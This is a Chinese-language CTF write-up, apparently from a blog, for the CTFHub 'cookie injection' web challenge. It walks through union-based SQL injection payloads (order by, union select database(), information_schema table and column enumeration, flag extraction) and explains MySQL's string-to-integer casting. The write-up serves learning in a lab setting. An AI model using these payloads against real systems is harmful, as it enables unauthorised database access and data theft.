CTFHub-web(cookie注入)


一、解题步骤

(1)题目为cookie注入,我们首先先看一下cookie里的值有没有什么可以帮助我们思考的东西,id=1,很明显存在sql注入
在这里插入图片描述(2)我们抓包来一步步的进行注入会更方便一些
我们用order by 语句来排序查询数据库有几行
(1,2都可以回显,直到3时无法回显,说明数据库有两行)

id=1 order by 3;

(3)接下来用联合查询语句union select语句来注入,从而判断显示位,同时也是判断注入点,可以看到位置2可以插入SQL语句。
(回显Data:2 注入成功)

 id=-1 union select 1,2

(4)接下来用union select database()来占2的位置进而来注入爆破数据库,获取当前数据库名称和相关信息

id=-1 union select 1,database();

回显Data:sqli,拿到当前数据库名
在这里插入图片描述在这里插入图片描述
(5)接下来获取数据库sqli的表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli';

在这里插入图片描述
(6)接下来获取数据表fcofekwtif中的字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='fcofekwtif';

在这里插入图片描述(7)接下来获取字段名mjdjlycgjw的值

id=-1 union select 1,group_concat(mjdjlycgjw) from fcofekwtif ;

在这里插入图片描述

二、关于sql中‘id=多少’的说明

这里很多刚入门的小伙伴会觉得为什么我的id要等于-1,这里我也只能给出我自己的解释,还希望大佬们多多指教

1.经过查阅资料得知,数据库中id的数据类型设置为int(数值类型)就会出现这种情况
如果数据库检查到id的参数并不为数值的话,就会发生类型转换(很简单粗暴的类型转换)
2.本题ID=1,我想注入的时候就不能再注ID=1了
(不然回显就一直是ctfhub)
3.用联合查询语句union select语句来注入,从而判断显示位,同时也是判断注入点,此时要先保证之前的数据查不出来才能判断注入位置,不然就会一直在注入当前的数据库,无法注入新的值来判断注入点,之后再union select id=-1数据不存在数据库中,可以看到位置2可以插入SQL语句。
在这里插入图片描述在这里插入图片描述

3.本题我把id等于字符串’-1’同样可以达到成功注入,因为会被转化为-1
在这里插入图片描述4.同样id=‘-1 and 1=1’也可以被识别为-1,成功注入
在这里插入图片描述5.id=’-1 and 1=2’也会被识别为-1,成功注入
在这里插入图片描述
6.以此类推,id只要不等于1,都可以注入成功
在这里插入图片描述总结一下:
比如字符串’1’会被转换为1

比如字符串’1"'会被转换为1

比如’1 and 1=1’会被识别为1

比如’1 and 1=2’会被识别为1

比如’1akbucbdadbaiudadbabdaud’会被识别为1

比如’23adasuasdai32ansoiha’会被识别为23

字符串中数字后面的字符可以是任意的,类型转换时都会被忽略,不会对数值有任何的影响
————————————————

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值